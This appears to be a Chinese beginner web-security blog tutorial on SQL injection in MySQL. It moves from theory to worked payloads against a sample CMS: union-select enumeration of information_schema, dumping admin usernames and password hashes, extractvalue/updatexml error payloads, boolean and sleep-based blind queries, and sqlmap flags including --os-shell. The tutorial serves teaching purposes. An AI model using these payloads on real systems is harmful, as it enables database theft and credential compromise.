sql注入基础(web安全入门08)

一、SQL 简介

SQL 结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986

年 10 月,美国国家标准学会对 SQL 进行规范后,以此作为关系式数据库管理系统的标准语

言。

MYSQL ACCESS MSSQL orcale

明显的层次结构

库名|表名|字段名|字段内容(像 excel 文件一样)

不过各种通行的数据库系统在其实践过程中都对 SQL 规范做了某些编改和扩充。所以实际

上不同的数据库系统之间的 SQL 不能完全通用。

SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,攻击者利用这个漏洞,可以访问

或修改数据,或者利用潜在的数据库漏洞进行攻击。

二、SQL 注入基础

2.1 漏洞原理

针对 SQL 注入的攻击行为可描述为通过用户可控参数中注入 SQL 语法,破坏原有 SQL 结

构,达到编写程序意料之外结果的攻击行为。

其成因可归结为以下两个原理叠加造成:

1、程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造 SQL 语句。

2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到 SQL 语句中。

*注入点可能的位置

根据 SQL 注入漏洞的原理,在用户“可控参数”中注入 SQL 语法,也就是说 Web 应用在获

取用户数据的地方,只要代入数据库查询,都有存在 SQL 注入的可能,这些地方通常包括:

GET 数据、POST 数据、HTTP 头部(HTTP 请求报文其他字段)、Cookie 数据等。

2.2 漏洞危害

攻击者利用 SQL 注入漏洞们可以获取数据库中的多种信息(如:管理员后台密码),从而脱

取数据库中内容(脱库)。

在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问

题,或者数据库本身存在缺陷,那么攻击者就可以通过 SQL 注入漏洞直接获取 webshell 或

者服务器系统权限。

mof 提权、udf 提权

2.3 分类

SQL 注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL 注入分为数

字型和字符型。

数字型注入就是说注入点的数据,拼接到 SQL 语句中是以数字型出现的,即数据两边没有

被单引号、双引号包括。

字符型注入正好相反

根据注入手法分类,大致分为以下几个类别:

1、UNION query SQL injection(可联合查询注入)联合查询

2、Error-based SQL injection(报错型注入)报错注入

3、Boolean-based blind SQL injection(布尔型盲注)布尔盲注

4、Time-based blind SQL injection(基于时间延迟注入)延时注入

5、Stacked queries SQL injection(可多语句查询注入)堆叠查询(增、删、改)

2.4 MYSQL 相关

既然要探讨 SQL 注入漏洞,需要对数据库有所了解,此处以 mysql 为例,这里只起到抛砖

引玉的作用,其他环境的注入,读者可以根据本次的思路去学习,唯一不同的只是数据库的

特性

2.4.1 注释

mysql 数据库的注释的大概有以下几种

– (杠杠空格)

/* … */

/*! … */ 内联查询

2.4.2 mysql 元数据数据库 information_schema

information_schema 数据库中的几个关键的表、字段

在这里插入图片描述

2.4.3 mysql 常用的函数与参数

show databases; #查看数据库

use information_schema; #转到数据库 information_schema

show tables; #查看当前数据库中的数据表

desc columns; #查看表的结构

=|>|>=|<=|<> 比较运算符 select 1<>2;

and|or 逻辑运算符 select 1 and 0;

version() mysql 数据库版本 select version();

database() 当前数据库名 select database();

user() 用户名 select user();

current_user() 当前用户名 select current_user();

system_user() 系统用户名 select system_user();

@@datadir 数据库路径 select @@datadir;

@@version_compile_os 操作系统版本 select @@version_compile_os;

length() 返回字符串长度 select length(‘ffdfs’);

select length(version());

substring() 截取字符串(三个参数)

1、截取的字符串

2、截取的起始位置,从 1 开

始计数

3、截取长度

select substring("dhffjf",2,2);
substr() select substr("version()",2);
select substr(version(),2,10);
mid() select mid(' select ',2,6);
left() 从左侧开始取指定字符个
数的字符串
select left('adc',2);
select left(version(),2);
concat() 没有分隔符的连接字符串 select concat('a','b','c');
concat_ws() 含有分隔符的连接字符串 select concat_ws('/','a','b','c');
group_concat() 连接一个组的字符串 select group_concat(id) from
users;
ord 返回 ASCII 码 select ord('a');
ascii() select ascii('a');
hex() 将字符串转换为十六进制 select hex('a');
unhex() hex 的反向操作 select unhex(61);
md5() 返回 MD5 值 select md5('123456');
floor(x) 返回不大于 x 的最大整数
round(x) 返回参数 x 接近的整数
rand() 返回 0-1 之间的随机浮点
数
select rand();
load_file() 读取文件,并返回文件内容
作为一个字符串
sleep() 睡眠时间为指定的秒数 select sleep(5);
if(true,t,f) if 判断 select if(true,1,0);
select if(false,1,0);
find_in_set() 返回字符串在字符串列表
中的位置
benchmark() 指定语句执行的次数
name_const() 返回表作为结果

2.4.4 逻辑运算

在 SQL 语句中逻辑运算与(and)比或(or)的优先级要高。

select 1=2 and 1=2 or 1=1;

2.5 注入流程

由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过 SQL 注入漏洞

获取数据库中信息时候,也依据这样的顺序。

首先获取数据库名,其次获取表名,然后获取列名,最后获取数据。

三、SQL 注入

为了演示 sql 注入的四大基本手法,我们以 cms 为例。通过 sql 注入漏洞获得后台管理员账

号和密码并成功登陆系统。

御剑扫描网站后台,还可以用 kali 系统中的 nikto、dirb 工具扫描。

SQL 注入点的判断

对连接 http://ip/cms/show.php?id=34 是否是注入点进行判断。

当我们变换 id 参数(34+1|34-1)的时候,发现同一个页面,show.php 页面展现出不同的

新闻内容。也就是说,数据库中的内容会显示到网页中来。

初步判定,id 参数会带入数据库查询,根据不同的 id 查询数据库,得到不同的新闻内容。

猜测后台执行的 sql 语句大致结构为:

select * from tbName where id =34

?id=34 +/- 1

select * from tbName where id = $id

?id=35’ 字符型还是数字型(对比 sqli 实验的第一关)

报错:near ‘’’ at line 1

select * from tbName where id = 35’

测试页面是否有布尔类型的状态

?id=35 and 1=1

?id=35 and 1=2

select * from tbName where id=35 and 1=1

select * from tbName where id=35 and 1=2

?id=35 and sleep(4) 是否有延时

select * from tbName where id=35 and sleep(4)

综上,此链接存在 sql 注入漏洞。

3.1 联合查询

由于数据库中的内容会回显到页面中,所以我们可以采用联合查询进行注入。

联合查询就是 SQL 语法中的 union select 语句。该语句会同时执行两条 select 语句,生成

两张虚拟表,然后把查询到的结果进行拼接。

select ~~~~ union select ~~~~

由于虚拟表是二维机构,联合查询会“纵向”拼接两张虚拟表

实现跨库、跨表查询

3.1.1 必要条件

1、两张虚拟的表具有相同的列数

2、虚拟表对应的列的数据类型相同

数字很特殊,可以自动转换成字符串。例如:selcet 1,2,3,4…

3.1.2 判断字段个数

可以使用[order by] 语句来判断当前 select 语句所查询的虚拟列表的列数。

[order by] 语句本意时按照某一列进行排序,在 mysql 中可以使用数字来代替具体的列名,

比如[order by 1] 就是按照第一列进行排序,如果 mysql 没有找到对应的列,就会报错

[Unkown column]。我们可以依次增加数字,直到数据库报错。可以使用二分法。

3.1.3 判断显示位置

得到字段个数之后,可以尝试构造联合查询语句。

这里我们并不知道表名,根据 mysql 数据库的特性,select 语句执行过程中,并不需要指定

表名。

?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+

页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则

显示第二条记录。因此构造 SQL 语句:

?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15 --+

?id=-33 union select 1,2,3,4,5,6,7,8,9,10, 11,12,13,14,15 --+

在执行 sql 语句的时候,可以使用火狐浏览器的插件 hackbar

就会发现我们的第二张虚拟表就会显示出来

发现 3 和 11 会显示到页面中来。

注:显示出来的数据的地方对应的数字就是我们将来插入语句的地方。

3.1.4 显示数据库版本和当前数据库名

我们可以将数字 3 用函数[version()] 代替,数字 11 用函数[database()] 代替

?id=-33 union select 1,2, version(),4,5,6,7,8,9,10, database(),12,13,14,15 --+

3.1.5 数据库中的表

我们可以通过查询 information_schema.tables 来获取当前数据库的数据表。

group_concat(table_name) … from information_schema.tables where table_schema =

database()

数据库报错

考虑用 16 进制(hex())函数将字符串转化为数字。

[hex(group_concat(table_name))]

得到 16 进制编码后的字符串,解码(用 BP 工具解码)

?id=-33 union select 1,2, version(),4,5,6,7,8,9,10, hex(group_concat(table_name)),12,13,14,15

from information_schema.tables where table_schema = database()

管理员账户密码可能存在 cms_users 表中

3.1.6 表中字段

… hex(group_concat(column_name)) … from information_schema.cloumns where

table_schema = database() and table_name=‘cms_users’–+]

?id=-33 union select 1,2, version(),4,5,6,7,8,9,10,

hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where

table_schema = database() and table_schema = ‘cms_users’

为了避免单引号的出现,可以将 cms_users 转换成 16 进制(在 hackbar 中转换)

?id=-33 union select 1,2, version(),4,5,6,7,8,9,10,

hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where

table_schema = database() and table_schema =0x636d735f7573657273

得到结果:userid, username, password

3.1.7 字段内容

查询表中数据

?id=-33 union select 1,2, version(),4,5,6,7,8,9,10, concat(username,’:’,password),12,13,14,15

from cms_users

为了避免单引号的出现

?id=-33 union select 1,2, version(),4,5,6,7,8,9,10,

concat(username,0x3a,password),12,13,14,15 from cms_users

得到的后台管理员账户密码,但是是 MD5 加密之后的密文,可以在线查询。

https://www.cmd5.com/

https://www.somd5.com/(免费)

admin:123456

3.2 报错注入

在注入点的判断过程中,发现数据库中 SQL 语句的报错信息,会显示在页面中,因此可以

进行报错注入。

报错注入原理,就是在错误信息中执行 SQL 语句。触发报错的方式有很多,具体细节,也

不尽相同,建议背公式即可。

3.2.1group by 重复键冲突

有一定的成功率,可能成功,也可能不成功

?id=33 and (select 1 from (select count(*),concat((select version() from

information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group

by x)a)–+

SQL 语句解析过程

from 后面的表标识了这条语句要查询的数据源
from 过程之后会形成一个虚拟的表 VT1.
# where
where 对 VT1 过程中生成的临时表进行过滤,满足 where 子句的列被插入到 VT2 .
# group by
group by 会把 VT2 生成的表按照 group by 中的列进行分组,生成 VT3
# having
having 这个 group by 的子句对 VT3 表中的不同分组进行过滤,满足 having 条件的子
句被加入到 VT4 表中。
# select
select 这个子句对 select 子句中的元素进行处理,生成 VT5
计算 select 子句中的表达式,生成 VT5.1
distinct 删除 VT5.1 表中的重复列,生成 VT5.2
top 从 order by 子句中定义的结果中,删选出符合条件的列,生成 VT5.3
# order by
order by 从 VT5.3 中的表,根据子句中的结果进行排序,生成 VT6

3.2.2 XPATH 报错

1、extractvalue()

?id=33 and extractvalue(1,concat('^',(select version()),'^'))--+

在这里插入图片描述

2、updatexml()

?id=33 and updatexml(1,concat(’^’,(select version()),’^’),1)–+

在这里插入图片描述

3.3 布尔盲注

1、原理

利用页面返回的布尔类型状态,正常或者不正常

and 1=1

and 1=2

2、获取数据库名

⑴获取数据库名长度

?id=33 and length(database())=1–+

?id=33 and length(database())=3–+

⑵获取数据库名

?id=33 and ascii(substr(database(),1,1))=99–+

由此可知数据库名的第一个字母的 ASCII 码是 99,即字母 C

3.4 延时注入

1、原理

利用 sleep() 语句的延时性,以时间线作为判断条件

and sleep(5) 浏览器–>F12–>网络

2、获取数据库名

⑴获取数据库名长度

?id=33 and if((length(database())=3),sleep(5),1)–+

⑵获取数据库名

?id=33 and if((ascii(substr(database(),2,1,)=109),sleep(5),1)

3.5sql 注入口诀

是否有回显 联合查询

是否有报错 报错注入

是否有布尔类型状态 布尔盲注

绝招 延时注入

四、sqlmap

全自动 sql 注入工具,神器。

但是有些注入工具是无法实现的,要具体分析,所以不要完全依赖于工具。

1、get 注入

-u "url" 检测注入点
--dbs 列出所有数据库的名字
--current-db 列出当前数据的名
-D 指定一个数据库
--tables 列出表名
-T 指定表名
--columns 列出所有字段名
-C 指定字段
--dump 列出字段内容

2、post 注入
-r post.txt 从文件中读入 http 请求

–os-shell 获取 shell

3、携带 cookie 的认证

要测试的页面只有在登录状态下才能访问,登录状态用 cookie 识别

–cookie “”

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑战士安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值